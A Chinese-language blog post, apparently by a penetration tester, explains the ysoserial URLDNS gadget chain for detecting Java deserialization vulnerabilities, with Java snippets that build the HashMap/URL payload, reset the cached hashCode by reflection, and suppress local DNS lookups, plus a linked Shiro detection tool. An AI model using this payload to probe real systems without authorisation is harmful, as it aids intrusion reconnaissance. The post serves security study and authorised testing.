在最近的攻防演习中遇到了许多java反序列化漏洞,但是每次都是直接exp打过去,耗时又费力。后来使用了ysoserialURLDNS模块,批量检测后就精准打击了。所以这次结束后就来研究下其原理。

Java URL Class

Java的URL这个类的equal()hashCode()会在调用的时候去获取域名解析的ip地址 > Two hosts are considered equivalent if both host names can be resolved into the same IP addresses > https://docs.oracle.com/javase/8/docs/api/java/net/URL.html

详细的可以去康康源码,这里着重探究hashCode() image.png 调用了一个handler的类,从文档中得知,handlerURLStreamHandler 所以跟进URLStreamHandler image.png 可以看到调用了getHostAddress(),这也就发起了dns请求

HashMap

问题来了,既然hashCode()能够发起dns请求,那么怎么在反序列化的时候调用呢?这就用到了HashMap HashMapreadObject的时候会调用putVal,其中计算了keyhashimage.png 计划通,把URL当成key就能调用到hashCode(),发起dns请求了

但是有个问题,在往HashMapput元素的时候,已经调用过hashCodeimage.png 这样hashCode的值就会保存在实例中,远程反序列化的时候就会读取缓存,并不会调用hashCode()

所以需要将hashCode的值重置,利用java反射就很容易实现了

1
2
3
4
5
6
7
8
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable
// reset hashCode cache
Class<?> clazz = u.getClass();
Field codev = clazz.getDeclaredField("hashCode");
codev.setAccessible(true);
codev.set(u, -1);

URLStreamHandler

利用链已经完整了,但是有个小问题,在本地构造的时候会调用put,会先发送dns请求,影响检测的准确性。可以写一个类来重写getHostAddress等函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

realworld

带个私货,花了点时间利用urldns检测shiro反序列化的小工具 https://github.com/LuckyC4t/shiro-urldns

参考

https://github.com/frohoff/ysoserial

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

http://www.polaris-lab.com/index.php/archives/331/